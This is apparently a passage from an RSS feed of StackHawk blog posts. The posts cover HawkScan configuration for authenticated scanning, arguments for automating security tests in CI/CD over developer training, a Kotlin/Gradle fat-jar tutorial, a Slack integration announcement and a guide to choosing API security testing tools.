Definitions:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;applicationId:&lt;/b&gt; Unique ID for organizing your scan results by app or microservice in the StackHawk Platform.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;env:&lt;/b&gt; The name of your staging environment, corresponding to your application in the StackHawk platform.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;host:&lt;/b&gt; The url of the application to scan. In this case, our API server is running on &lt;u&gt;localhost:3001&lt;/u&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;loggedInIndicator:&lt;/b&gt; When this regex pattern is present in the HTTP response (header or body), it signifies the user is logged-in.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;loggedOutIndicator:&lt;/b&gt; When this regex pattern is present in the HTTP response (header or body), it signifies the user is logged out.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;testPath:&lt;/b&gt; The path to a protected route in your application that requires authorization. Example: /api/external.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;tokenAuthorization:&lt;/b&gt; These values are the same as the curl command&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;external.value: Accepts the &lt;code&gt;token&lt;/code&gt; value passed in as an environment variable at runtime.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;Step Four: Run the Script&lt;/h4&gt;&lt;p&gt;Once you’ve saved your changes to both of the files above, run the script to kick-off HawkScan.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Notes&lt;/h3&gt;&lt;p&gt;At StackHawk we believe in simplifying the process of building and delivering secure code. If you can run a basic curl command to obtain an access token, you can easily configure HawkScan for testing protected routes. Additionally, our configuration as code approach makes reproducing scans across environments as easy as copy and paste. Take the guesswork out of finding and fixing security vulnerabilities and &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;sign-up&lt;/a&gt; for a StackHawk account today!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Tooling Over Training: Scaling Application Security with Automation]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/scaling-application-security-with-automation</guid><category><![CDATA[Tooling Guides]]></category><category><![CDATA[Automating Security in CI/CD]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;h3&gt;The Problem: AppSec Keeping Up with the Speed of DevOps&lt;/h3&gt;&lt;p&gt;Over the past decade, DevOps has become prevalent across software development organizations. John Allspaw’s &lt;a href=&quot;https://www.youtube.com/watch?v=LdOe18KhtT4&quot;&gt;2009 Velocity presentation&lt;/a&gt; entitled “10 Deploys per Day: Dev and Ops Cooperation at Flickr” made waves, with a deploy frequency that was seemingly unheard of at the time. &lt;/p&gt;&lt;p&gt;Today, however, multiple deploys per day is the norm. Born-in-the-cloud companies have DevOps baked in from the beginning, and legacy enterprises are focused on digital transformation.&lt;/p&gt;&lt;p&gt;As software delivery has accelerated, however, security has struggled to keep up. Application security teams have often been forced to choose between being a blocker to deploy to production or accept the risk of vulnerabilities in prod while they wait for their next review.&lt;/p&gt;&lt;p&gt;Modern security engineers know that they cannot be a blocker for fast-moving engineering teams. Instead, they must pave a road that ensures security is baked in through the development process. One approach to this has been heavy investment in developer training. I would argue, however, that good automation tooling in CI/CD is far and away the best path to ensure secure application delivery.&lt;/p&gt;&lt;h3&gt;Developer Training: Not the Right Solution&lt;/h3&gt;&lt;p&gt;One solution that has gained significant traction is developer training programs, where developers are put through security training to ensure that applications are built with security in mind from the beginning. &lt;/p&gt;&lt;p&gt;These programs take different models, whether it be training all individuals or train the trainer programs. All of them, however, rely on engineers retaining knowledge from a brief training for a long period of time. Additionally, these trainings are often focused on sample applications that are quite different from the applications the developers are working on. After a training is completed, engineers jump right back into building features and there is ample opportunity for overlooking something they just learned.&lt;/p&gt;&lt;p&gt;Said another way, can anyone find a developer who has never introduced a bug? Despite years of training and practice, even the most seasoned engineers still introduce bugs. Vulnerabilities (a.k.a. security bugs) are no different.&lt;/p&gt;&lt;p&gt;This is not to say that these training programs are bad, but there has to be a better model than broad-swath security training, which relies on knowledge retention, catching the edge cases, and never making mistakes.&lt;/p&gt;&lt;h3&gt;Security Automation: Checking for Vulns on Every PR&lt;/h3&gt;&lt;p&gt;Instead of relying on training programs as a primary means of delivering secure applications, engineering teams should use a tried and true methodology — automated testing in CI/CD. Test automation has become widely accepted, with unit tests and integration tests baked into the DevOps pipeline. Security should be no different.&lt;/p&gt;&lt;p&gt;Every pull request should kick off automated security tests to ensure that no new vulnerabilities have been introduced. There are &lt;a href=&quot;https://www.tfir.io/application-security-testing-belongs-in-the-ci-pipeline/&quot;&gt;lots of reasons to do this&lt;/a&gt; (finding vulns in production is too late, smaller units of change = much faster fix times, etc.), ultimately resulting in more efficient processes and more secure software.&lt;/p&gt;&lt;p&gt;If a new vulnerability is found in the pipeline, the developer who just wrote that code can quickly review and make a triage decision — should this be fixed now, be prioritized among other engineering work, or does it present such low risk that it is not worth fixing? Oftentimes, the fixes are simple and the developer who was just working on that part of the codebase can quickly address the issue, regardless of severity.&lt;/p&gt;&lt;p&gt;Automation is good both for finding vulnerabilities and for fixing them before they hit production. Engineering orgs are best off if they focus on strong automation instead of counting on human knowledge retention.&lt;/p&gt;&lt;h3&gt;Automation + Training: A Complete Program&lt;/h3&gt;&lt;p&gt;To be clear, I am still a big fan of developer training programs. Ensuring that security is baked in from the beginning adds a lot of value to organizations. After all, automation cannot possibly catch everything! But these programs should be paired with strong application security automation, with training viewed as the extra layer of security.&lt;/p&gt;&lt;p&gt;Additionally, as an industry, we should apply test driven development principles to security, particularly for items that cannot be caught with standardized automation tooling. Tenancy checks, for example, should be baked into the feature delivery. This is one example of skills that a good training program will instill in attendees.&lt;/p&gt;&lt;h3&gt;Getting Started with AppSec Automation&lt;/h3&gt;&lt;p&gt;Application security automation sounds like a heavy lift to implement, which sometimes leads teams to not even start down the path. In reality, however, widely available tooling makes it relatively simple to start adding AppSec checks in the pipeline.&lt;/p&gt;&lt;p&gt;I often encourage people to implement two types of security testing, which most teams can typically implement in a matter of hours:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Software Composition Analysis (SCA):&lt;/b&gt; SCA tooling scans the open source dependencies in use in your application and matches against known vulnerabilities. If there are vulnerabilities in a library you are using, you will be prompted to update the library, with many tools automatically opening a pull request for your review. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Dynamic Application Security Testing (DAST):&lt;/b&gt; DAST tooling runs active security tests against a running version of your application (or the underlying microservices) and APIs. This type of testing not only catches many vulnerabilities that would have been introduced via open source usage, but also catches vulnerabilities that your team may have introduced. Historically this category has relied on manual or scheduled scans of production, but I’m strongly biased toward tooling that catches vulnerabilities before they are in prod.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The important thing here is to just get started. Block a couple of hours, pick one of your services or applications, grab your beverage of choice, and instrument some basic application security automation.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Application Security is Broken. Here is How We Intend to Fix It.]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/application-security-is-broken</guid><category><![CDATA[Shifting Security Left]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;h3&gt;tl;dr&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Modern AppSec is Broken.&lt;/b&gt; Agile, Cloud, DevOps, CI/CD, and open source have changed everything for engineers, but security processes struggle to keep up.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;AppSec’s Future is in Engineering Teams.&lt;/b&gt; Traditional IT Operations was replaced by DevOps; shouldn’t engineering own the security of the code they write?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;A New Breed of Security Tools are Coming.&lt;/b&gt; We are part of a small but powerful group of security tools that are built for the developers who do the actual fixing of security bugs.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Application Security is Broken&lt;/h3&gt;&lt;p&gt;Applications are being pushed into the world faster than ever before. Cloud deployments, DevOps teams, and CI/CD have enabled engineering teams to produce high quality software with incredible efficiency. As these applications are pushed to production, often multiple times per week or day, the current security model can’t keep up.&lt;/p&gt;&lt;p&gt;Below are some of the ways that AppSec is no longer working for modern software teams:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Doesn’t Match Modern Workflows.&lt;/b&gt; Development has shifted to continuous delivery, with endless tools to support you in your work. You deploy software quickly and count on test suites to catch bugs. Your application security tools, however, are built for a waterfall era and exist in isolation from the rest of your workflow.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Not Built for Automation.&lt;/b&gt; Security bug testing should be automated throughout the delivery pipeline, starting as close to local dev as possible. Solutions that center on testing once an app hits production just don’t cut it in this day and age.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Finding &amp;gt; Fixing.&lt;/b&gt; Existing application security tools (and, in some cases, teams) engage in a contest of finding the most things and you get an ever increasing backlog. Fixing easily exploitable, easily fixed bugs should be prioritized over finding the most obscure vulnerability.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Built for InfoSec.&lt;/b&gt; It only takes a few minutes on the RSA trade show floor to know that the security products of old are built for the suit-wearing Fortune 500 CISOs. &lt;i&gt;Built for Developers&lt;/i&gt; is a marketing tagline, not a product reality. Jump into any of the market leading security tools and it is quickly apparent that they are not, in fact, built for developers.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Training &amp;gt; Tooling.&lt;/b&gt; Security teams invest time and effort training developers on how to write secure code. While a noble pursuit, the reality is that you are pushed toward feature delivery and don’t retain enough of their secure coding workshops. Good tooling will always win out over another training day.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Engineers Will Own the AppSec of the Future&lt;/h3&gt;&lt;p&gt;The tide is beginning to shift, with engineers taking hold of the security of their applications. Modern engineering teams know that to ship secure apps, they need to own it themselves. We are in the early days of that shift, with a day soon on the horizon where inefficient InfoSec models for application security will become a relic of the past.&lt;/p&gt;&lt;p&gt;As we talk to the developers who are on the cutting edge of this shift, we are seeing the following trends:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Finding Security Bugs is Shifting Left.&lt;/b&gt; As with any bug, it is best to find and fix earlier in the development process. Finding a bug in local dev and hammering away on a quick fix is easy. When a bug breaks a build or is found in production, that is a different story. The best engineering teams are adding application security checks at commit and merge and equipping their developers with the tools to troubleshoot quickly when a bug is found.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Triage and Fix Lives with Those Best Equipped.&lt;/b&gt; If you wrote the code, you are typically the best equipped to make a call on the security risk of a particular bug and to instrument a fix. Even better is when the fix is so simple that it erases the cognitive load of defining the risk, but the bug can be found and fixed while still in local dev.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Fixing While in Context Drives Speed.&lt;/b&gt; No more getting alerted on security bugs for code you wrote months ago. Fixing a bug while you have the context of the part of the code base you are working on drives simplicity and efficiency. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Security == Quality, and Engineering knows Quality.&lt;/b&gt; Your engineering team knows how to ship high quality applications with speed and efficiency. In the same way that teams would not push UI bugs into production, security bugs can be fixed before the latest release goes live. Secure code is quality code.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;The New Breed of Security Tooling&lt;/h3&gt;&lt;p&gt;The application security shift has already begun. There has been incredible progress on what makes a best-in-class engineering program over the past two decades. Engineers own the end to end building, delivery, operation, and quality of their applications, and the time has arrived for you to own the security as well. &lt;/p&gt;&lt;p&gt;This shift, however, requires a new breed of security tooling. The tools that aim to serve the CISO first, to the detriment of engineers, will no longer cut it. The products that carry outrageous price tags but have not kept up with the shift in how software is created and delivered will have to be phased out. Here at StackHawk, we say, “This is not security for security people.” As long as application security tools are built for InfoSec teams, they will lack the features that are needed to truly serve you, the modern software engineer.&lt;/p&gt;&lt;p&gt;We created StackHawk to simplify the process of building and delivering secure code. We are dead set on creating the best security focused dev tool out there, ensuring that the same people who write the code are equipped to ensure it is secure. We are excited about what we have built already and we are just getting started.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How to Run Standalone Kotlin with Gradle]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/how-to-run-standalone-kotlin-with-gradle</guid><category><![CDATA[Tech Learnings]]></category><dc:creator><![CDATA[Topher Lamey]]></dc:creator><content:encoded>&lt;p&gt;Recently we wanted to add a specific kind of alerting to some of our build process via a third-party product. As part of that, we needed to run some of our Kotlin code in the third-party product as a standalone application. The third party had a limitation in that they only support this kind of execution using &lt;code&gt;java -jar file.jar&lt;/code&gt; directly with a single jar file.&lt;/p&gt;&lt;p&gt;Luckily, &lt;code&gt;java&lt;/code&gt; easily supports this via jar files with:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;An &lt;a href=&quot;https://docs.oracle.com/javase/tutorial/deployment/jar/appman.html&quot;&gt;application’s entry point&lt;/a&gt; via the &lt;code&gt;Main-Class&lt;/code&gt; property in the jar’s manifest file&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Packing any third-party classes in the jar (AKA a ‘fat’ jar).&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;We use Gradle for our build tool, and have used the &lt;a href=&quot;https://docs.gradle.org/current/userguide/application_plugin.html&quot;&gt;&lt;code&gt;application&lt;/code&gt; plugin&lt;/a&gt; to build and run arbitrary standalone applications. In this case, we already had the class defined in Kotlin with a main function used by Gradle’s &lt;code&gt;application&lt;/code&gt; plugin that we wanted to run in this new third-party system.&lt;/p&gt;&lt;p&gt;Our main class is in a file &lt;code&gt;com/stackhawk/example/Main.kt&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Note that unlike Java, Kotlin takes that file name and modifies for Java referencing in Gradle.&lt;/p&gt;&lt;p&gt;Our &lt;code&gt;build.gradle.kts&lt;/code&gt; file then uses it with the &lt;code&gt;application&lt;/code&gt; plugin like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;With that, we can do this at the shell:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;We can’t use Gradle in this third-party system, so we need to produce a jar file with the &lt;code&gt;Main-Class&lt;/code&gt; property set in the manifest to the same class. We can do that using the Gradle &lt;code&gt;jar&lt;/code&gt; task:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;But we also have a bunch of third-party dependencies that we need to pack into that jar file. Luckily, the &lt;code&gt;jar&lt;/code&gt; task can be expanded to include them in our jar.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Now we can do this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Which is exactly how the third-party system wants to run Java/Kotlin applications.&lt;/p&gt;&lt;p&gt;Here’s a complete example that supports both &lt;code&gt;./gradlew run&lt;/code&gt; and &lt;code&gt;java -jar $OUTPUT_JARFILE&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Once we had this set up in the project, we were able to generate a jar that worked as expected in the third-party alerting system. Since then, we’ve had other reasons, such as one-off and scheduled jobs, to use a jar in this manner and this Gradle set up has worked for those uses cases as well.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk + Slack: Observability for AppSec Bugs]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/slack-integration-announcement</guid><category><![CDATA[Integrations]]></category><category><![CDATA[Shifting Security Left]]></category><dc:creator><![CDATA[Sam Volin]]></dc:creator><content:encoded>&lt;p&gt;&lt;/p&gt;&lt;p&gt;Hello Friends! I’m excited to announce StackHawk’s first integration: The &lt;a href=&quot;https://slack.com/apps/A0114L5HGP5-stackhawk&quot;&gt;StackHawk Slack App&lt;/a&gt;! &lt;/p&gt;&lt;h3&gt;StackHawk + Slack&lt;/h3&gt;&lt;p&gt;With the StackHawk Slack App your scan results are instantaneously pushed to your Slack workspace. After a simple installation and configuration, your selected channel will receive messages every time a scan starts, completes, or fails. When the scan completes, you’ll see a summary of findings with a link to the complete scan results. In the event of a scan failure, you can also jump straight to the stacktrace. All of this allows you to monitor the state of your application’s security and jump into action when you need to triage and fix security bugs.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The real power of the Slack integration is when you hook HawkScan, StackHawk’s underlying scanner, into your CI/CD pipeline. This allows your team to automate your application security and have visibility into your security each time a build runs. The entire dev team can have visibility into any new security bugs that are added to your app.&lt;/p&gt;&lt;h3&gt;Adding StackHawk to Slack&lt;/h3&gt;&lt;p&gt;To add StackHawk to your Slack workspace, log into your StackHawk account (or sign up for a free account), click on Integrations on the nav bar, and then connect your Slack account. From there, you can choose channel and account mappings.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;More to Come&lt;/h3&gt;&lt;p&gt;Here at StackHawk, we are big believers that developers should own their application security. We also know that to make this a reality, we need to push security bug details to the tools developers are already using. We’re just getting started on our Slack integration, with a lot more to come in the near future. &lt;/p&gt;&lt;p&gt;As always, reach out to us at &lt;a href=&quot;mailto:hello@stackhawk.com&quot;&gt;hello@stackhawk.com&lt;/a&gt; if you have any feedback on the Slack app or other integrations that you would like us to build.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[API Security Testing Tools Overview & Guide]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/api-security-testing-overview</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;p&gt;As APIs have grown in use and abundance, so has the amount of attacks and breaches that stem from said APIs. The OWASP API Security Project and OWASP API Security Top 10 have helped to highlight the types of vulnerabilities that developers should be conscious of and defend against.&lt;/p&gt;&lt;p&gt;APIs are not only the backbone of modern application architecture, but they are also vital for maintaining security. Typically, a company’s most valuable and sensitive data all lives behind an API. Delivering secure applications relies on ensuring that the backing APIs do not have any security vulnerabilities.&lt;/p&gt;&lt;p&gt;Delivering secure APIs, however, is easier said than done. APIs sit at the intersection of teams and typically see rapid iteration as software is built and improved. Ensuring API security raises questions such as:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Which team is responsible for maintaining API security?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;How do we ensure that updates to our APIs do not create a vulnerability?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Does our team have API security testing?&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Modern software development teams are solving this problem with developer-centric API security testing automated in CI/CD. The rest of this post has more info on what API security testing is, how it works, and what to look for in selecting a vendor. Read on to learn more. &lt;/p&gt;&lt;h3&gt;What is API Security Testing?&lt;/h3&gt;&lt;p&gt;API security testing is the process of checking for vulnerabilities in your APIs, ultimately surfacing any potential security gaps for the engineering team to fix. Historically, this was done through penetration testing or manual scanning of the APIs by an enterprise security team. Currently, however, teams are shifting to running API security tests as part of the DevOps pipeline, ensuring that security issues are caught early in the development lifecycle.&lt;/p&gt;&lt;h2&gt;Types of API Security Testing&lt;/h2&gt;&lt;p&gt;The types of API security testing that could be performed are vast. Some are more manual, like API penetration testing, while others are more automated. When uncovering a potential API vulnerability, specific methods may be more applicable than others. For instance, if there are API security issues that only occur at runtime, then you&amp;#39;ll need to have an API security testing tool that can assess the running application. Other vulnerabilities may be identified statically by running a static vulnerability scanner within the code base. With this in mind, let&amp;#39;s take a look at a few types of API security testing tools.&lt;/p&gt;&lt;h3&gt;Dynamic API Security Tests&lt;/h3&gt;&lt;p&gt;While some static analysis security testing (SAST) and software composition analysis (SCA) tools have coverage for APIs, the best form of API security testing is running active (dynamic) tests against your API endpoints. This active testing is technically a form of &lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;dynamic application security testing&lt;/a&gt; (DAST), but beware of legacy DAST tools that are not built for APIs. &lt;/p&gt;&lt;p&gt;Running a dynamic API security test simulates an actual API-based attack and surfaces vulnerabilities introduced from both open-source dependencies and the code your team wrote. Of course, if you’re looking to build the most robust form of API security testing, combining dynamic testing with SAST and SCA would be ideal. But if you’re looking for the best first step to start securing your APIs, dynamic testing is the way to go.&lt;/p&gt;&lt;h3&gt;Static API Security Tests&lt;/h3&gt;&lt;p&gt;Static analysis security testing tools look at the source code of the application to identify potential vulnerabilities. This form of testing looks for patterns in the code that represent potential security concerns. These tools are language-dependent, meaning you have to use a static tool that matches the language your API is written in.&lt;/p&gt;&lt;h3&gt;Software Composition Analysis&lt;/h3&gt;&lt;p&gt;Software Composition Analysis (SCA) tools look at the dependency tree of your application and match this against a database of known vulnerabilities. Using these tools, you would be alerted if your application or API uses a library or framework with a known vulnerability. With the ever-increasing use of open source in API development, these tools are essential to include in security testing. The limitations of SCA tools are that (1) they generally do not surface if the vulnerability is actually exploitable within your API, and (2) they only capture open-source vulnerabilities, not security bugs your team may have introduced.&lt;/p&gt;&lt;h2&gt;How API Security Testing Works&lt;/h2&gt;&lt;p&gt;As outlined, there are various forms of API security tests. Static analysis and software composition analysis search for patterns and libraries in your code base that represent potential vulnerabilities, surfacing the vulnerable code or library. Dynamic API security tests send active requests to the application, surfacing potential vulnerabilities based on the response received from the API.&lt;/p&gt;&lt;p&gt;As an example, a dynamic testing tool may send a request to the REST API endpoint that includes &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;SQL Injection&lt;/a&gt;. If a response is received from the API that indicates that the database is vulnerable to an attack, this would be surfaced in the testing tool.&lt;/p&gt;&lt;p&gt;Some people think of this form of security testing as negative security testing – a request is sent and if a response is received, it can represent a potential security bug.&lt;/p&gt;&lt;h2&gt;What to Look for in API Security Testing Vendors&lt;/h2&gt;&lt;p&gt;When evaluating tools to run security tests against your APIs, there are many options out there. It can be challenging to understand what tools are most effective for your particular team and use case. Below are some criteria that you can use to evaluate API security testing vendors:&lt;/p&gt;&lt;h3&gt;Deployment Method: Does it Run in CI/CD?&lt;/h3&gt;&lt;p&gt;One of the most essential aspects of API security testing is where the test will be run. This determines how close to the development process the testing will be. There are a few different ways that API security tests can be deployed. Still, typically, the preferred method is a tool that can automate testing in CI/CD and run locally for testing and debugging. This allows a developer to be alerted quickly (on commit or PR) if they have introduced a new vulnerability and quickly remediate it while still in the context of the code they are working on.&lt;/p&gt;&lt;p&gt;Other deployment methods include external scans of production or agents that run in staging. While these may be satisfactory for some organizations, most companies today see the &lt;a href=&quot;https://www.tfir.io/application-security-testing-belongs-in-the-ci-pipeline/&quot;&gt;value of testing in CI/CD&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Configuration: Explicit API Routes vs. Crawling for Discovery&lt;/h3&gt;&lt;p&gt;Next, it is essential to understand how the tool finds the API routes for testing. Legacy tooling on the market relies on an HTML spider of the application to surface API routes. While this may sometimes work, it often leads to missed API routes and is not ideal for use with single-page applications.&lt;/p&gt;&lt;p&gt;Other legacy tools attempt to find API routes by proxying production traffic or relying on functional tests written in QA. For example, WhiteHat’s new API testing tool, Intelligence Directed DAST, only runs security tests on the API routes that have custom tests built in Postman.&lt;/p&gt;&lt;p&gt;Modern tooling is configured directly for API scanning, leveraging technologies such as &lt;a href=&quot;https://github.com/OAI/OpenAPI-Specification&quot;&gt;OpenAPI Specification&lt;/a&gt; or the &lt;a href=&quot;https://graphql.org/learn/introspection/&quot;&gt;GraphQL introspection&lt;/a&gt; end point. This gives the security tool the information it needs to test the API for security vulnerabilities thoroughly.&lt;/p&gt;&lt;h3&gt;API Types Supported: REST, GraphQL, gRPC, and SOAP&lt;/h3&gt;&lt;p&gt;Across an organization, it is expected to encounter different APIs backing applications. It is not uncommon to have a company where their API landscape combines REST APIs, GraphQL, gRPC, and SOAP APIs. When selecting a tool, it is crucial to ensure that it supports the types of APIs you use internally right now, as well as those that you may use in the future.&lt;/p&gt;&lt;h3&gt;Performance: Data-Driven Nodes&lt;/h3&gt;&lt;p&gt;When running API security tests, especially when run in CI/CD, performance is critical. Security testing of APIs should add seconds or minutes to the build pipeline, not hours like many traditional tools.&lt;/p&gt;&lt;p&gt;One key functionality for performance is testing the underlying API route vs. every iteration of this route. This functionality is known as Data Driven Nodes. For example, if an online clothing retailer has an API path such as /pants/{pantsBrand}/list.  Many traditional tools will iterate through testing of every variation of {pantsBrand}, which adds significant inefficient time into scans. Modern tools should understand Data Driven Nodes and only test the underlying route.&lt;/p&gt;&lt;h3&gt;Scan Quality: Technology-Specific Scanning&lt;/h3&gt;&lt;p&gt;Many tools in the API and application security space run the same tests, regardless of what API you are using. Be sure to select a vendor or tool that has technology-specific scanning. REST and GraphQL APIs should only receive JSON-based requests, and SOAP APIs should receive XML-based requests.&lt;/p&gt;&lt;p&gt;Technology-specific scanning results in several benefits for teams running API security tests. When a testing tool is sending the right kind of requests to an API, scans are both fast and accurate.&lt;/p&gt;&lt;h3&gt;Accuracy: Minimize False Positives&lt;/h3&gt;&lt;p&gt;When it comes to security tests, accuracy is obviously important. False positives create unnecessary work for engineering and security teams, ultimately eroding trust in security testing. Many companies have started down a path of security testing, only to abandon the tool due to a poor signal-to-noise ratio from so many false positives.&lt;/p&gt;&lt;p&gt;When selecting a vendor, it is essential to ensure that your security testing vendor is built for modern application architecture and API security testing. This often looks like automatic recognition of whether the tool is testing an API or HTML application and applying the correct tests for each path.&lt;/p&gt;&lt;h3&gt;Custom Testing: Find Business Logic Vulnerabilities&lt;/h3&gt;&lt;p&gt;Some vulnerabilities cannot be tested for using automatic tools. Custom business logic or certain application-specific features will require custom security testing. The ideal API security testing vendor will enable this sort of testing and tie results in with the out-of-the-box testing.&lt;/p&gt;&lt;h3&gt;Developer Experience: Developer-First API Security&lt;/h3&gt;&lt;p&gt;With automated API security testing in CI/CD, developers are inherently brought into the security process. Application security has shifted left – scheduled scans of production and a team of security analysts reviewing the results no longer cut it. Today’s engineering teams run security tests in CI/CD, alerting the developer who was working on the code if they’ve introduced a new vulnerability.&lt;/p&gt;&lt;p&gt;When selecting a vendor, ensure you select a developer-first security tool that is easy for developers to use and integrate with their existing flow. For API security testing, this includes features such as cURL command generation to recreate findings, simple CI/CD automation, config as code, the ability to run tests locally, and integrations with the existing engineering workflow.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;API-First Application Security&lt;/h2&gt;&lt;p&gt;Since virtually every application is built on top of APIs, ensuring that APIs are secure is the only way to deliver secure applications confidently. While application security is critically important for any business today, many application security tools on the market today were built for a previous era of software development. By combining the latest application security testing tools with other cutting-edge API technologies, such as an API gateway or API management tool, you can guarantee a much higher level of security within your APIs.&lt;/p&gt;&lt;p&gt;Another critical point is that API-first development requires API-first application security testing. Since in the API-first approach, APIs are generally built first and then integrated with further parts of the application; this requires tools that can test APIs as they are being built. Two great ways to do this, as pointed out earlier in this article, are to use DAST and SAST to scan and test the APIs to ensure they are ready for integration.&lt;/p&gt;&lt;p&gt;In this guide, we looked at some evaluation criteria for selecting API security tools. Here at StackHawk, we’ve built the best-in-class tool for API security testing that offers a best-in-class experience for implementing a DAST solution. To get started with StackHawk, you can test it for free by &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;signing up for an account&lt;/a&gt; or &lt;a href=&quot;#request-a-demo&quot;&gt;scheduling time to chat with our team of API security experts&lt;/a&gt; if you’d like to learn more.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How Developer-Centric AppSec Testing Can Dramatically Change Your DevOps Team]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/align-engineering-security-appsec-tests-in-ci</guid><category><![CDATA[Shifting Security Left]]></category><category><![CDATA[Automating Security in CI/CD]]></category><dc:creator><![CDATA[Joni Klippert]]></dc:creator><content:encoded>&lt;p&gt;&lt;i&gt;Originally posted on the &lt;/i&gt;&lt;a href=&quot;https://about.gitlab.com/blog/2020/08/21/align-engineering-security-appsec-tests-in-ci/&quot;&gt;&lt;i&gt;GitLab blog&lt;/i&gt;&lt;/a&gt;&lt;i&gt;.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Software development has accelerated dramatically over the past decade. As DevOps became pervasive, companies went from shipping software monthly to shipping software to production frequently throughout the day. This happened as engineering teams took ownership of the deployment, performance, and resilience of their software.&lt;/p&gt;&lt;p&gt;And it has paid off. Companies that have adopted DevOps are deploying software significantly faster, ultimately driving business value as innovation is more rapidly delivered to customers.&lt;/p&gt;&lt;p&gt;Security, however, did not keep up. Security teams typically fell into one of two positions – the blocker of frequent deployments or the team perpetually bringing up issues in last month’s work. The need for a shift in the security model is widely known. It was the subject of the &lt;a 